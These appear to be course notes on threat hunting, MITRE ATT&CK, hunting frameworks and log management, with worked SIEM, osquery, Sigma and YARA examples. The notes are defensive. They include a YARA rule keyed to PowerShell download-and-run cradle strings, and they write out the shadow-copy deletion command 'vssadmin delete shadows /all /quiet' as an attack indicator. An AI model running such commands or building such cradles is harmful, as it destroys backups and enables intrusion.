Limits: linear, outside-in malware focus; weak on insiders, credential abuse, cloud and web attacks; stages 1 and 2 unseen; post-compromise squeezed into two stages. ATT&CK fills the gap; Paul Pols' Unified Kill Chain (2017) has 18 phases.
MITRE ATT&CK: a knowledge base of how attackers operate
MITRE ATT&CK stands for Adversarial Tactics, Techniques, and Common Knowledge: a free, open, globally accessible knowledge base of real-world adversary behavior, MITRE Corporation, since 2013, public since 2015. Built from observed attack data, so empirical rather than theoretical, and continuously updated; not a threat modeling methodology but a threat intelligence reference library feeding modeling, detection and hunting.
- Tactics: columns, the goal (why): Initial Access (TA0001), Persistence, Privilege Escalation, Credential Access, Exfiltration.
- Techniques: how: Phishing (T1566), pass-the-hash, Command and Scripting Interpreter (T1059); the notes add Boot or Logon Autostart Execution and Brute Force.
- Sub-techniques: granular variations: Spearphishing Attachment (T1566.001), PowerShell (T1059.001).
- Procedures: the specific implementation, the how-to actually seen for a group or tool.
- Also groups, software, campaigns, mitigations, detection guidance; matrices Enterprise, Mobile, ICS.
Figure: the deck's screenshot of MITRE's ATT&CK Matrix for Enterprise web page, cropped to the first eight tactic columns: each column headed by its technique count (Execution 20, Stealth 30), techniques as cells, a grey bar and a number for sub-techniques (Phishing 4); Stealth and Defense Impairment side by side
Enterprise tactics in order: Reconnaissance, Resource Development, Initial Access, Execution, Persistence, Privilege Escalation, Stealth, Defense Impairment, Credential Access, Discovery, Lateral Movement, Collection, Command and Control, Exfiltration, Impact. Until version 19 (April 2026) Stealth and Defense Impairment were one tactic, Defense Evasion (14 tactics); version 19 has 15 tactics, 222 techniques, 475 sub-techniques.
The deck's small snapshot, three tactics with four techniques each:
| Tactic | Techniques on the slide |
|---|---|
| Execution | Command and Scripting Interpreter (T1059); Scheduled Task/Job (T1053); User Execution (T1204); Native API (T1106) |
| Persistence | Registry Run Keys (T1547.001); Scheduled Task/Job (T1053); Create Account (T1136); Boot/Logon Autostart (T1547) |
| Exfiltration | Exfil Over C2 Channel (T1041); Exfil Over Web Service (T1567); Automated Exfiltration (T1020); Exfil Over Alt. Protocol (T1048, Exfiltration Over Alternative Protocol) |
Scheduled Task/Job sits under two tactics: a technique is listed under every tactic it serves (a task runs code now and restarts it after reboots). The deck's worked example, T1059: attackers run malicious commands through PowerShell or cmd.exe instead of dropping a custom binary; hypothesis: PowerShell spawned by an unusual parent such as Word or Excel; action: query EDR or Sysmon for matching process trees, the osquery example and worked hunt 2.
Mapping an intrusion (SOC analyst): collect the evidence; classify each behavior as tactic and technique; order on the matrix (Navigator layer); read the neighbors (next steps, likely group); check coverage and turn gaps into detection tasks.
| Observed | Tactic | Technique |
|---|---|---|
| phishing email with Word file | Initial Access | T1566.001 |
| user opens it, macro runs | Execution | T1204.002 Malicious File |
| encoded PowerShell | Execution | T1059.001 |
| registry Run key | Persistence | T1547.001 |
| passwords dumped from memory | Credential Access | T1003.001 LSASS Memory |
| PsExec over admin shares | Lateral Movement | T1021.002 |
| HTTPS beacon every 60 s | Command and Control | T1071.001 Web Protocols |
| database out over the beacon | Exfiltration | T1041 |
Seven uses (the deck): threat modeling input (evidence-based behavior instead of brainstorming, PASTA stage IV); red teaming and pen testing (simulations that mirror real adversaries); security gap analysis (which techniques are detected or prevented, which leave exposure); detection engineering (blue teams write SIEM and EDR rules per technique); incident response (what the attacker did, which stage it reached, which lateral movement or persistence techniques); threat intelligence (link APT groups to their techniques, defend against the most relevant first); security awareness and training (a common language for red, blue and management).
| Point | Cyber Kill Chain | MITRE ATT&CK |
|---|---|---|
| Shape | linear, 7 stages, fixed order | matrix, 15 tactics (14 before 2026), any order, repeated |
| Detail | "at installation" | "T1547.001 as used by this group" |
| Basis | conceptual model | observed intrusions |
| After break-in | squeezed into three stages | discovery, credential access, privilege escalation, lateral movement, collection |
| Best for | explaining, defense in depth | detection, hunting, gap analysis, red teaming |
Example: Delivery is one box; Initial Access lists phishing, drive-by compromise, public-facing application exploits, valid accounts, supply chain compromise, external remote services and more. ATT&CK techniques are TTPs, the top of the Pyramid of Pain.
Threat hunting: searching for the attacker no alarm caught
Threat hunting: the proactive, human-led search for threats, attack behaviors and weaknesses that evaded automated defenses, before they cause damage. Guiding (core) principle assume breach: start from the premise that the adversary is already inside and look for its traces.
The deck's definition (widely cited, CrowdStrike, Rapid7): the proactive process of searching for undetected threats, attack behaviors and vulnerabilities across an organization's environment, before they cause damage. In plain terms: going looking for the attacker who did not trip any alarms. Section title: from reactive to proactive defense.
The deck's scene: dashboard "no threats detected", firewall clean, antivirus silent, zero alerts; everything looks fine, or does it? Data has left for months. Assume breach changes "are we compromised?" into "where would the attacker be, doing what?".
- Ransomware up 105% worldwide in 2021 (SonicWall).
- Average breach cost 4.24 million dollars (IBM, 2021).
- Median dwell time 21 days (Mandiant M-Trends 2022), against 99 days in 2016.
Core gap: tools catch known signatures; attackers live off the land (PowerShell, PsExec, WMI); human-driven attacks adapt.
How it helps: finds what tools miss; shrinks dwell time; surfaces hidden gaps (a hunt that finds nothing proves coverage); improves detection (findings tune tools, hunts become rules). Its importance (class notes): detects gaps in defenses, finds sophisticated threats, improves SOC efficiency.
| Point | Alert triage | Threat hunting | Incident response |
|---|---|---|---|
| Starts from | an alert | hypothesis, intel or anomaly | a confirmed incident |
| Stance | reactive | proactive | reactive |
| Question | is it real? | is an attacker here we missed? | contain and recover? |
| Output | closed or escalated | findings, detections, gaps | contained incident, lessons |
Prerequisites for successful threat hunting (company-level readiness), each with the deck's reason: mature logging and visibility (you can't hunt what you can't see); an established baseline of normal (needed to see what is anomalous); dedicated trained analysts (domain, technology and process skills); threat intelligence access (context on current TTPs for hypotheses); leadership buy-in (time and resourcing to hunt, not just put out fires); a repeatable methodology (structured, not ad hoc, one-off). Lesley Carhart: no industry-wide definition; the core is proactive, human-driven, assumes compromise, iterative.
The threat hunting lifecycle: from trigger to better detection
Lifecycle: trigger or hypothesis, investigate, uncover, respond, inform, then the next trigger.
Figure: the five steps as a loop around "assume breach", with PEAK laid over it (prepare, execute, act, knowledge throughout)
- Trigger or hypothesis: from intel, an anomaly, an ATT&CK technique or crown-jewel risk; testable: "Word or Excel started PowerShell on some endpoint in the last 30 days."
- Investigate: Sysmon Event ID 1 and EDR process trees; SIEM searches, osquery.
- Uncover: 3 of 2,000 hosts show
winword.exestartingpowershell.exewith an encoded command; add-in or attack? Confirm or refute. - Respond: hand to incident response: isolate, reset credentials, block the C2 domain, preserve evidence.
- Inform: document; the query becomes a SIEM rule; update the playbook; record gaps (laptops without Sysmon); new hypotheses.
Figure: the lecture's own loop: five numbered circles (trigger or hypothesis, investigate, uncover, respond, inform) around a centre marked continuous loop
Class notes' six steps: identify data sources; assess data quality; baseline systems; interpret threat reports; generate and execute a hypothesis; post-hunt activities. Steps 1 to 4 prepare, 5 is investigate and uncover, 6 is respond and inform (PEAK's prepare, execute, act).
Results: threat found (escalate); nothing found (coverage proved); inconclusive (visibility gap).
How a hunt starts: hypothesis, intelligence, analytics, awareness
| Point | Hypothesis-driven | Intelligence-driven | Analytics-driven |
|---|---|---|---|
| Trigger | idea about behavior, often ATT&CK | IoCs, TTPs, campaign report | statistical or ML outliers |
| Example | unusual PowerShell for lateral movement | five IPs from an APT report | UEBA: 3 AM login from a new country |
| Pyramid | top (TTPs) | mostly bottom (IoCs) | behavior, anomalies |
| Strength | finds unknowns, lasting detections | fast, concrete | scales, finds the unthought of |
| Weakness | depends on hypothesis and hunter | reactive, IoCs expire | noisy, needs baseline |
The class notes' three hypothesis types (Sqrrl's framework):
- Awareness-based (situational awareness): own environment, crown jewels, weak points, recent changes. "Who logged into the payment server outside the maintenance window?"
- Intelligence-based: reports, IoC and IoA feeds, malware analysis, vulnerability news. "The VPN flaw a ransomware group exploited exists on our gateway: look for exploitation."
- Analytics-driven: structured frameworks, models, statistics, ML, AI, UEBA. "A host's DNS names are far more random than its peers'."
The class notes' three hunting methodologies:
| Methodology | Starts from | The hunter |
|---|---|---|
| Unstructured | an IoC: suspicious file, IP or domain | investigates its source, scope and impact, before and after it |
| Structured | an IoA or an actor's TTPs | studies known actor methods (MITRE ATT&CK), searches for those behaviors |
| Situational or hypothesis-driven hunting | a "what if" from situational awareness ("biggest threats to my industry?") or analytics | tests the hypothesis with data |
| Family | Also called | Starts from |
|---|---|---|
| Hypothesis-driven | structured (IoAs, TTPs); PEAK hypothesis-driven | attackers' known methods |
| Intelligence-driven | intelligence-based; unstructured from a single IoC | an indicator or report |
| Analytics-driven | anomaly-based; PEAK model-assisted (M-ATH) | statistics, ML, UEBA |
| Situational awareness | awareness-based; situational or entity-driven | own risk assessment, crown jewels |
A good hypothesis is specific, testable with available data, tied to a behavior. Notes' examples: attackers conceal C2 in encrypted TLS or SSL, and statistical traffic analysis (timing, sizes, destinations) identifies these covert channels; parse and stack every User-Agent string (UAS): browsers' strings are shared by thousands of hosts, malware's hard-coded, misspelled or outdated strings sit at the rare end. The approaches mix in practice.
PEAK: prepare, execute and act, with knowledge
PEAK: free, vendor-agnostic hunting framework, Splunk SURGe (David Bianco), 2023, SANS-referenced per the deck. Prepare, Execute and Act with Knowledge; three hunt types (hypothesis-driven, baseline, model-assisted), which the deck maps onto its three approaches.
The deck's four boxes: Prepare (define a hypothesis, scope the hunt, gather data access); Execute (run the investigation: query data, test the hypothesis); Act (respond: escalate to IR, document, remediate); Knowledge (capture learnings into detection rules, future hunts, the team knowledge base).
| Phase | Steps | Lifecycle |
|---|---|---|
| Prepare | select topic, research, hypothesis, scope, plan | trigger |
| Execute | gather, pre-process, analyze, refine hypothesis, escalate critical findings at once | investigate, uncover |
| Act | preserve hunt, document, create detections, back to backlog, communicate | respond, inform |
| Knowledge | intel, business context, past hunts in; lessons, detections, playbooks out | every step |
ABLE: Actor (optional), Behavior (the TTP), Location (where seen), Evidence (data sources and what it looks like). Example: financially motivated group; LSASS dumping (T1003.001); finance Windows servers; Sysmon Event ID 10 with lsass.exe as target.
| Type | What | Example |
|---|---|---|
| Hypothesis-driven | test one idea about behavior | the LSASS hypothesis |
| Baseline | exploratory data analysis: learn normal, study deviations | rare parent and child process pairs over 30 days |
| Model-assisted (M-ATH) | ML surfaces candidates for the hunter | DNS randomness model finds generated domains |
Builds on the Sqrrl loop and TaHiTI, adds baseline and model-assisted hunts, insists on documentation. The deck draws four boxes with Knowledge last; in Splunk's framework knowledge runs through all three phases.
The Diamond Model: four corners of every intrusion event
Diamond Model (Sergio Caltagirone, Andrew Pendergast, Christopher Betz, 2013): every event has an adversary using a capability over infrastructure against a victim; edges join related features; pivot from any known corner.
Figure: the diamond with adversary at the top, capability left, infrastructure right, victim bottom, two dashed axes, and a phishing example with a five-step pivot
| Feature | Meaning | Phishing example | Pivot question |
|---|---|---|---|
| Adversary | operator and customer | financially motivated group | what else has it done? |
| Capability | tools and techniques | macro in an invoice | where else has the malware appeared? |
| Infrastructure | IPs, domains, email accounts, servers | C2 server IP | which domains share the IP, which hosts contacted it? |
| Victim | persona and asset | finance employee | who else received the email? |
Axiom: for every intrusion event there exists an adversary taking a step towards an intended goal by using a capability over infrastructure against a victim to produce a result.
- Meta-features: timestamp, phase (kill chain stage), result (success or failure, CIA hit), direction, methodology, resources.
- Axes: social-political (adversary to victim: motive) and technology (capability to infrastructure: delivery).
- Pivot example: C2 IP in proxy logs; passive DNS shows three more domains; two more internal hosts contacted them; a YARA match names a RAT; intel ties it to a group.
- With the kill chain: one diamond per stage; linked they form an activity thread; similar threads form an activity group.
- In hunting: structures findings, shows the missing corner, makes shared intelligence consistent.
The Hunting Maturity Model: HMM0 to HMM4
HMM (Sqrrl, David Bianco, 2015): grades hunting by how much data is routinely collected and how it is analyzed (the deck: maturity by data collection and analysis sophistication).
Figure: the five levels as a staircase rising left to right, each step with its name and how it hunts, a band underneath for the data each collects, and an arrow for rising maturity
| Level | Name | How it hunts | Data | Example |
|---|---|---|---|---|
| HMM0 | Initial | automated alerting only (IDS, SIEM, antivirus) | little or none | works the alert queue |
| HMM1 | Minimal | incorporates threat intelligence: IoC searches from reports and feeds | moderate to high | advisory IPs and hashes searched in SIEM |
| HMM2 | Procedural | follows established procedures created by others | high to very high | monthly published macro hunt |
| HMM3 | Innovative | creates new analysis procedures in-house | high to very high | own DNS randomness analysis |
| HMM4 | Leading | automates most successful hunts into analytics: continuous improvement | high to very high | each good hunt becomes a detection |
Data and analysis rise together; HMM1 hunts at the bottom of the Pyramid of Pain, HMM2 and up at TTPs; HMM4 means less repeated hunting, not more hunting; assess the level, plan the next (HMM1 to HMM2: endpoint process data and published playbooks).
Mnemonic: Ishwor Maama Panipuri Itaharima Lukaunubhayo (Uncle Ishwor hid the panipuri in Itahari): I M P I L, initial, minimal, procedural, innovative, leading.
Indicators of compromise, and indicators of attack
IoC: forensic evidence of a breach: malicious hash, IP, domain, URL, registry key, file name, unusual account activity. IoA: behavior and intent of an attack in progress (a document starting a shell that disables backups), whatever the file or address. IoCs answer "what happened?", IoAs "what is happening, and why?". The notes: IoCs are "point in time" artifacts left after a compromise, used retrospectively; IoAs are real-time suspicious behaviors in an ongoing attack (a process spawning a remote shell), about why something happens, not just what happened.
| Kind | What | Examples | Pyramid |
|---|---|---|---|
| Atomic | single, discrete, indivisible value | IP, URL, domain, email address, CVE number | bottom |
| Computed | derived by calculation or analysis | file hash, regular expression, DNS name randomness; notes: traffic patterns, user behavior analytics | bottom to middle |
| Behavioral | combination describing the actor's actions | macro, PowerShell, download, beacon every 60 s; notes: C2 communication, lateral movement, exfiltration | top |
| TTP (notes) | tactics, techniques, procedures: tools, methods, strategies | dumps LSASS, then PsExec to file servers | top |
The kinds come from the Lockheed Martin kill chain paper; the notes list hashes as atomic, the paper as computed.
| Where | Examples |
|---|---|
| Network | IPs, domains, URLs, unusual ports, beacon timing, rare User-Agents |
| Host | registry keys, file paths, mutexes, new services and tasks, unexpected admin accounts |
| File | MD5, SHA-1, SHA-256, names, sizes, YARA matches |
| sender, subject, attachment name, reply-to domain | |
| Account | odd hours, impossible travel, failed login bursts, privilege changes |
| Point | IoC | IoA |
|---|---|---|
| Question | what happened | what is happening, why |
| Timing | after the fact | real time |
| Nature | static artifacts | behaviors, sequences |
| Example | ransomware SHA-256, C2 address | Office starts PowerShell, deletes shadow copies, encrypts |
| Detected by | blocklists, signatures, sweeps | behavioral analytics, EDR rules, ATT&CK detections |
| Evasion | easy | hard |
Life of an IoC: discovered, validated with context and confidence, shared (STIX, TAXII, TLP), consumed by SIEM, EDR and firewalls, retired when stale (reassigned IPs become false positives). Written defanged.
Example: after ransomware, the dropper hash, C2 domain and scheduled task name are IoCs to sweep and block; vssadmin delete shadows /all /quiet run from a script before encryption is an IoA that catches the next attack with new files.
Finding anomalies: baselines, stacking and outliers
Anomaly: a deviation from the baseline of normal for a user, host, application or network; a lead, not a verdict. The baseline comes first: per entity, time of day and peer group, from weeks of logs.
- Point anomaly: one value far from normal (10 GB against a usual 50 MB).
- Contextual anomaly: normal value, wrong context (admin login at 2 AM from abroad).
- Collective anomaly: normal events, abnormal pattern (a DNS query every 60 seconds for eight hours, a beacon).
| Technique | How | Example |
|---|---|---|
| Searching | query for values or patterns | a domain from a report in proxy logs |
| Clustering | group similar points, study odd groups | three hosts cluster alone with an unknown tool |
| Grouping | find where a set of artifacts appears together | three executables always together on the same hosts |
| Stacking | count each value, study the rarest (least frequency of occurrence) | scheduled task on 2 of 2,000 hosts; User-Agent strings (UAS) from proxy logs, the notes' example |
Signals: standard deviations from the mean; rarity and first-seen values; entropy (generated domains, DNS tunneling); periodicity with little jitter (beaconing); impossible travel; peer comparison (UEBA).
Common red flags: unusual outbound traffic; odd privileged account activity; unexpected countries; many failed logins; database read spikes; large web responses; many requests for one file; port and application mismatch; suspicious registry or system file changes; unusual DNS requests; unexpected patching; data bundled in the wrong place; non-human web traffic; DDoS signs.
Example: osquery pulls Windows services from 2,000 hosts; stacked, WinUpdateSvc running C:\Users\Public\svc.exe appears on 2 hosts; hash, creation time and parent checked: malware persisting as a service (T1543.003).
Rare is not malicious: triage with context (owner, change tickets, intel), tune, fold explained anomalies into the baseline.
The hunter's toolkit: data, tools and skills
| Data | Tools | Skills |
|---|---|---|
| SIEM logs, EDR telemetry, NetFlow, DNS and Sysmon logs | Splunk or ELK (Logpoint here), YARA, osquery, ATT&CK Navigator | hypothesis-driven thinking, scripting, OS internals, intel literacy |
| Source | Shows | Key events |
|---|---|---|
| Windows Security log | logons, account changes | 4624 logon, 4625 failed, 4672 special privileges at logon, 4720 account created, 4688 process created |
| Sysmon | endpoint detail | 1 process creation, 3 network connection, 10 process access, 11 file created, 13 registry value set, 22 DNS query |
| PowerShell logs | scripts run | 4104 script block |
| EDR | process trees, file and network activity | isolate host, kill process |
| NetFlow, Zeek | who talked to whom, how much | conn.log, dns.log, http.log |
| DNS, proxy, firewall | domains, URLs, blocks | query names, User-Agents |
| Cloud and identity | API calls, sign-ins | AWS CloudTrail, Microsoft Entra ID sign-ins |
Tools: SIEM (Splunk, Elastic, Logpoint, Microsoft Sentinel) to search, correlate and pivot; EDR for process trees, live response, isolation; osquery for SQL questions to endpoints; YARA for content matching; Sigma for vendor-neutral log detections; Zeek for network logs; ATT&CK Navigator for coverage; VirusTotal and TIPs for reputation; Velociraptor for collection at scale; Jupyter for statistics.
Class notes' tools: MDR (an outsourced service whose remote hunters find threats for you), SIEM (aggregates and analyzes logs from all sources), security analytics (algorithms, analytics and UEBA that surface anomalies and vulnerabilities), EDR (examines endpoint activity for threat patterns). Class notes' techniques: memory dumps (fileless malware, Volatility), server images and workstation disk images checked for red flags, endpoint protection data checked for incidents, network protection data (firewall, IDS logs) checked for anomalies.
Skills: SPL, KQL and Logpoint queries; Python and PowerShell; OS internals (services.exe is the normal parent of svchost.exe); DNS, HTTP, TLS; ATT&CK tradecraft; statistics. Example: "Office starting PowerShell" needs Sysmon Event ID 1, a SIEM search or osquery, and the knowledge that winword.exe has no reason to start powershell.exe.
Hunting in practice: SIEM queries, YARA, osquery and Sigma
SIEM querying (Logpoint; the deck's Guardsix / Logpoint): searching massive log volumes with a pipe-based query language. Core syntax: label= or category= filters events by type, a pipe chains commands, chart count() by aggregates and groups, order by count() desc sorts. Key point, the pivot pattern: each result becomes the next filter: hash, user, IP, C2 category.
label=Detect label=File label=Infection
| chart count() by sender, sender_domain, hash, receiver
label=Login label=Fail user="rita.mm"
| chart count() by source_address, workstation, user, host
| order by count() desc
category="Malware Command And Control"
| chart count() by source_address
YARA (Victor Alvarez, VirusTotal): pattern-matching rules that identify malware by content, not just hash; hashes break on tiny changes, YARA matches patterns and structure, surviving minor variants. Parts: meta (author, description), strings (patterns), condition (logic combining them).
rule Suspicious_PowerShell_Downloader
{
meta:
author = "hunt team"
strings:
$s1 = "IEX" nocase
$s2 = "DownloadString" nocase
$s3 = "-EncodedCommand" nocase
condition:
2 of ($s1, $s2, $s3)
}
IEX runs text as code, DownloadString fetches it, -EncodedCommand hides it in base64: a download-and-run cradle. Run over shares, attachments, EDR samples, memory.
osquery (Facebook, open-sourced 2014): treats every endpoint like a queryable SQL database (running processes, open ports, installed software, scheduled tasks) across the fleet, in familiar SQL. Commonly hunted tables: processes, listening_ports, scheduled_tasks, startup_items, logged_in_users, installed programs (programs). A fleet-wide query finds every host where Microsoft Word spawned PowerShell, a classic malicious-macro pattern, and supports lateral-movement hunts.
SELECT p.pid, p.name, p.path, p.cmdline
FROM processes AS p
JOIN processes AS parent ON p.parent = parent.pid
WHERE lower(parent.name) = 'winword.exe'
AND lower(p.name) = 'powershell.exe';
The deck's parent_name column does not exist; processes stores the parent PID, hence the self-join. It is a snapshot of what runs now.
Sigma (Florian Roth and Thomas Patzke, 2017): YAML log rules converted to Splunk, Elastic, Sentinel queries; "YARA for logs".
title: Office Application Starting PowerShell
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith:
- '\winword.exe'
- '\excel.exe'
Image|endswith: '\powershell.exe'
condition: selection
level: high
tags:
- attack.execution
- attack.t1059.001
One hypothesis, four forms: SIEM search of past logs, osquery on live hosts, Sigma alert from now on, YARA scan for the cradles.
The hunting playbook and the hunt report
Playbook: a documented, repeatable procedure for one hunt, not a one-off search. Hunt report: what the hunt did and found, for two audiences from one underlying investigation.
| Part | Question | Example (Office starting PowerShell) |
|---|---|---|
| 1. Hypothesis | what is tested? | macro intrusions show Office starting PowerShell |
| 2. ATT&CK techniques | mapping | T1566.001, T1204.002, T1059.001 |
| 3. Data sources | logs and tools | Sysmon Event ID 1 or EDR, all Windows endpoints, 30 days |
| 4. Query or steps | reusable procedure | SIEM search or Sigma rule, then command line review |
| 5. Expected findings | normal and suspicious | none or known add-in; encoded commands, DownloadString, new domains |
| 6. Escalation path | who is told | SOC lead, then IR team; host isolated via EDR |
Why: repeatability (HMM2), training, even quality, later automation (HMM4), sharing; SOAR playbooks automate the response.
| Technical hunt report (SOC, IR) | Executive summary (leadership) |
|---|---|
| full methodology | business impact |
| queries used | risk level |
| raw findings and IoCs | plain-language findings |
| technical remediation | resourcing and budget |
Six sections: hypothesis and scope; methodology; findings confirmed or refuted with evidence; impact assessment; remediation; lessons (playbook updates, detections, gaps). A hunt that finds nothing is still reported (15% of laptops without Sysmon logs becomes a remediation item).
Example executive summary: two Accounts laptops compromised by phishing, isolated within an hour, no customer data lost; risk low; block internet macros at no cost.
Four worked hunts, from trigger to outcome
Shape for any scenario: trigger, hypothesis, data and tools, steps, conclusion, response, new detection.
- Credentials to C2 callback (alert and intelligence): trigger, a file infection alert; tools, SIEM (Logpoint, the deck's GuardSix / Logpoint), VirusTotal; data, email and file logs, Windows auth logs, threat intel IoC lists. Progression: file hash flagged, pivot to the recipient, user Rita's repeated failed logins across servers, pivot to the source IP, cross-reference with the known C2 IoC list: match. Correlated: file hash, recipient, login failures, source IP, intel list. Inferred: Rita compromised, Bob probed from the same IP, one campaign. Outcome: disable Rita, disable or delete Bob, block the C2 IP at the firewall. Brute force (T1110), C2.
- Living-off-the-land lateral movement (hypothesis): "an attacker inside would use built-in tools to move laterally". EDR, Sysmon, osquery; Sysmon Event ID 1, Windows 4624 and 4625, PowerShell script block logs. Unusual parent and child chains:
winword.exespawnspowershell.exe, which spawnsPsExec.exe; hosts PsExec connected to compared with the account's baseline. Correlated: process lineage, PowerShell command-line arguments, the account's normal access baseline. Inferred: an account moving between hosts it never touched: classic lateral movement, likely credential theft. Outcome: isolate hosts, force credential reset, escalate to IR. T1059.001, T1569.002, T1021.002. - DNS tunneling and exfiltration (analytics-driven): anomaly detection flags high DNS query volume from one host; DNS logs, Zeek (NetFlow analysis), SIEM; DNS query logs (subdomain length and entropy), NetFlow (bytes per session). Baseline normal DNS; thousands of long, high-entropy subdomain queries to one domain; outbound byte volume checked; steady small-packet traffic consistent with tunneling. Correlated: query entropy and frequency, destination domain reputation, outbound byte pattern. Inferred: exfiltration by DNS tunneling to evade traditional egress monitoring. Outcome: block the domain, isolate the host, inspect for the tunneling malware or tool. T1071.004, T1048.
- Insider threat, anomalous data access (UEBA): UEBA flags unusual volume of sensitive files; tools UEBA, file server audit logs, DLP tool; data file access logs (who, what, when), UEBA baseline profile, badge and VPN login times. Ten times normal volume, at 2 AM, VPN login from an unusual geography, DLP shows uploads to an external site. Correlated: access volume, access time, login geography, outbound uploads. Inferred: not normal work: a compromised account or an insider exfiltrating, perhaps before resigning. Outcome: engage HR and Legal under the insider threat policy, preserve evidence, restrict the account's access. T1567.
| Scenario | Approach | Key data | Kill chain stage | Outcome |
|---|---|---|---|---|
| 1 | alert, IoC | auth logs, IoC list | C2 | accounts disabled, IP blocked |
| 2 | hypothesis, TTP | Sysmon process creation | actions on objectives | isolated, reset |
| 3 | analytics | DNS, NetFlow | C2 and exfiltration | domain blocked |
| 4 | UEBA | file audit, VPN, DLP | actions on objectives | HR, Legal, evidence |
Every confirmed hunt ends with a new detection, so the next occurrence alerts on its own.
Chapter 4: Log management, data visualization and security monitoring 6080 words
What a log is, and why it is the evidence an attack leaves behind
Log: a timestamped record of events generated by systems, applications or network devices. Each line, a log entry, describes one event: when it happened, on which system, who was involved, what was done and whether it worked. NIST SP 800-92: a record of the events occurring within an organization's systems and networks, made of entries that each describe one event.
The deck's example entry:
2026-07-08 10:45:15
User: admin
Action: Login Successful
Source IP: 192.168.1.20
Four fields, four questions: timestamp (when), user (who), action and outcome (what), source IP (from where). A useful entry also names the host and the event type.
| Term | What it is | Example |
|---|---|---|
| Event | anything observable on a system or network | admin logs in |
| Log entry | the record of one event | the four lines above |
| Log | the file or stream of entries from one source | Windows Security log, /var/log/auth.log |
| Alert | a notice raised when entries match a rule | 37 failed logins for admin |
| Incident | an event that harms or threatens security, confirmed by an analyst | the admin account taken over |
Why a log is evidence: a digital attack leaves no fingerprints and no witness, only entries on every system it touched. Logs deliver the accountability of IAAA, tying actions to identities after the fact.
Hacked university website (the deck's slide "Something happened last night": student records stolen, site defaced, nobody saw the attacker, no CCTV, no eyewitness): the evidence left is the logs.
| Log | What it shows |
|---|---|
| Web server access log | every request with IP, time, URL, user agent: the scan, SQL injection strings, a web shell upload |
| Web server error log | injection attempts that broke queries |
| Application (CMS) log | admin panel logins, the edit that defaced the site |
| Database log | queries that read the student table, rows returned |
| Firewall and NetFlow | inbound connections, the large outbound transfer |
| Operating system logs | new accounts and processes, a cleared audit log (event 1102), itself evidence |
Hacked Facebook account: session list and login history (time, device, location, IP of each login), the platform's alert emails about new logins and changed password or recovery email, the owner's browser history and malware. Put them in time order, find the first login that was not the owner's, find how the password was obtained (phishing, reuse from a breached site, malware, stolen session cookie), lock the attacker out, report. The steps follow incident handling (chapter 6).
Logs can be destroyed: clearing event logs is ATT&CK T1070.001. Logs are copied off the host to a central store as they are written, with integrity protected (the I of CIA). In the chapter 6 insider case, remote access log files tied the former vice president to the crime.
Log management: what it is and what it buys an organization
Log management (Logpoint, the deck): the practice of continuously gathering, storing, processing, synthesizing and analyzing log data from disparate programs and applications, to optimize system performance, identify technical issues, manage resources, strengthen security and improve compliance. NIST SP 800-92: the process of generating, transmitting, storing, analyzing and disposing of log data.
Real-time insight (same slide): an effective log management system and strategy enables real-time insights into system health and operations, so a filling disk, a restarting service or a storm of failed logins is seen as it happens.
Why manage logs: every system logs in its own format, disk and clock; one workstation's Security log held 29,665 events in the deck's screenshot. Unmanaged logs are scattered, inconsistent, overwritten when files fill, and deletable by an attacker.
Example: 400 lab computers, each with a Security log of about 30,000 events, hold twelve million entries in 400 places on 400 clocks; asking where one account logged in means visiting machine after machine, while a central store answers in one search.
| Reason (deck) | How logs deliver it | Example |
|---|---|---|
| Detect hackers | attacks leave entries before they succeed | 37 failed logins, then a success |
| Troubleshoot problems | the same records show faults | web server error log after a failed update |
| Monitor systems | continuous view of health | a service stopped at 03:00 |
| Meet compliance | audit trails kept for the required period | a year of logs for PCI DSS |
| Forensic investigations | reconstruct events in order | the university attack timeline |
| Improve performance | trends expose bottlenecks | slow database queries |
Five benefits of an effective solution (Logpoint):
- Unified data storage through centralized log aggregation: one searchable copy off the hosts that an intruder cannot quietly erase.
- Improved security through a reduced attack surface, real-time monitoring and better detection and response times.
- Improved observability and visibility through a common event log: one schema, one query for the whole estate.
- Enhanced customer experience through log analysis and predictive modeling.
- Faster, more precise troubleshooting through advanced network analytics.
Challenges: volume and cost, variety of formats, noise, disagreeing clocks, privacy (usernames and IPs are personal data), coverage gaps.
The functions of log management, from collection to reporting
The deck's slide "Log management terminologies" names seven functions:
| # | Function (deck) | What it does |
|---|---|---|
| 1 | Collection | aggregates data from the OS, applications, servers, users, endpoints and other sources |
| 2 | Monitoring | tracks events and activity, and when they occurred |
| 3 | Analysis and correlation | analysis tools review the logs collected on the log server to proactively identify bugs, threats or other issues; correlation finds relationships and dependencies between logs of different sources (applications, systems, networks, devices) |
| 4 | Enrichment | adds context from threat intelligence, CSV lookups, applications, databases |
| 5 | Retention | designates how long log data is kept in the log files |
| 6 | Indexing or search | filter, sort, analyse, search across all logs |
| 7 | Reporting | automated reports on operations, resources, security, compliance |
Mnemonic: Chhuchhi Mausi Aayera Ekai Raat Inar Rittyain (the mean aunt came and emptied the well in a single night), one word per function in the deck's order.
As one pipeline: a firewall denial arrives by syslog, is indexed, enriched with its source country, correlated with failed VPN logins from the same address, kept a year, counted in the monthly report.
NIST SP 800-92: three tiers (log generation; log analysis and storage; log monitoring). Functions:
- General: log parsing, event filtering (drop useless entries), event aggregation (merge repeats with a count).
- Storage: rotation, archival, compression, reduction, conversion, normalization, file integrity checking.
- Analysis: event correlation, log viewing, log reporting.
- Disposal: log clearing at the end of retention.
SIEM against log management: every SIEM does log management; not every log management system is a SIEM.
| Point | Log management | SIEM |
|---|---|---|
| Purpose | collect, store, search all logs | detect and respond to threats |
| Processing | parsing, indexing | parsing, normalization, enrichment |
| Analysis | searches and reports run by people | correlation rules on the live stream |
| Context | the entry as written | threat intelligence, asset, identity |
| Output | search results, reports | prioritized alerts, incidents, dashboards |
| Users | IT operations, developers, auditors | SOC analysts, incident responders |
The deck defines each term as "a tool that" does it; strictly, retention is a policy and the tool enforces it.
The nine types of log, and what each records
| Type | What it records | Deck example | Helps catch |
|---|---|---|---|
| Authentication | login and logout, success and failure, user, time, source, method | login success and failure logs | brute force, spraying, stolen credentials |
| Authorization | actions of privileged administrators, rights | changes to roles or permissions | privilege escalation, admin misuse |
| System | OS level events and errors | critical system errors and events | crashes, stopped services |
| Application | application specific events and errors | user interactions within an application | abuse of functions, faults after updates |
| Network | flows, connections, DNS queries | network traffic threats | scans, beaconing |
| Firewall | allowed and denied traffic, in and out | incoming and outgoing connections | probes, banned ports |
| Database | transactions, SQL queries, changes | logging SQL queries and changes | SQL injection, bulk reads |
| Security | security events for analysis and response | IDS alerts, anti-virus scans | malware, known signatures |
